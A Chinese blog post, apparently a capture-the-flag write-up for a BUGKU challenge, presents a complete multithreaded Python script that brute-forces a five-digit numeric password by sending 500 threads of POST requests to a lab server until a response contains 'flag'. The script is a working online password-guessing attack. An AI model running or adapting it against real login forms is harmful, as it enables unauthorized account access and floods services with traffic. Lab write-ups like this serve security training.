使用python多线程爆破数字密码
目录
前言
说起网络密码爆破,我们可能第一时间想到大名鼎鼎的软件Burp Suite
,该软件可以方便地进行网络代理,数据截包、改包,密码爆破,但是密码爆破效率实在是太低,如果我们知道密码的类型,例如是纯数字的密码,那我们可以将密码进行分段,不同的范围使用一个线程进行爆破,利用并发进行节省时间。
题目背景
BUGKU
的《好像需要密码》
打开题目后,我们发现只需要提交一个密码的表单即可,而且知道了是5
位数字,即00000
-99999
。
分析了范围以后,接下来就是将密码分段,然后开启一个个线程执行爆破程序,详细如代码所示:
import urllib
import requests
import time
import threading
# 尝试爆破 [start, end] 区间的密码
def hack(name, start, end):
print('thread %s start! %s ---> %s' % (name, start, end))
pas = start
while pas <= end:
test = requests.post('http://114.67.175.224:15120', data={'pwd': pas})
# 如果响应体中含有 flag 字样,说明密码争取
# 实际上也可以将每一个响应体的长度进行统计,含有 flag 的一般跟其他的是不一样的
if 'flag' in test.text:
print('The correct password is:', pas)
break
pas += 1
print('thread %s end! ' % (name))
if __name__ == '__main__':
# 从 10000-99999 我这里偷懒了,把0-9999的去掉了 hhhh
start, end = 10000, 100000
# 线程总数
total = 500
# 每个线程要爆破的区间长度
step = int((end - start) / total)
left = start
threadsList = []
for i in range(total):
try:
# 创建线程并传递参数过去
t = threading.Thread(target=hack, args=("Thread-" + str(i), left, left + step,))
# 线程开始执行
t.start()
threadsList.append(t)
except:
print("Error: unable to start thread")
left += step
# 主线程等待其他线程完毕后再退出
for t in threadsList:
t.join()
print('main thread end!!')
黑帽白帽,就在一念之间!
本文由「黄阿信」创作,创作不易,请多支持。
如果您觉得本文写得不错,那就点一下「赞赏」请我喝杯咖啡~
商业转载请联系作者获得授权,非商业转载请附上原文出处及本链接。
关注公众号,获取最新动态!
历史评论
开始评论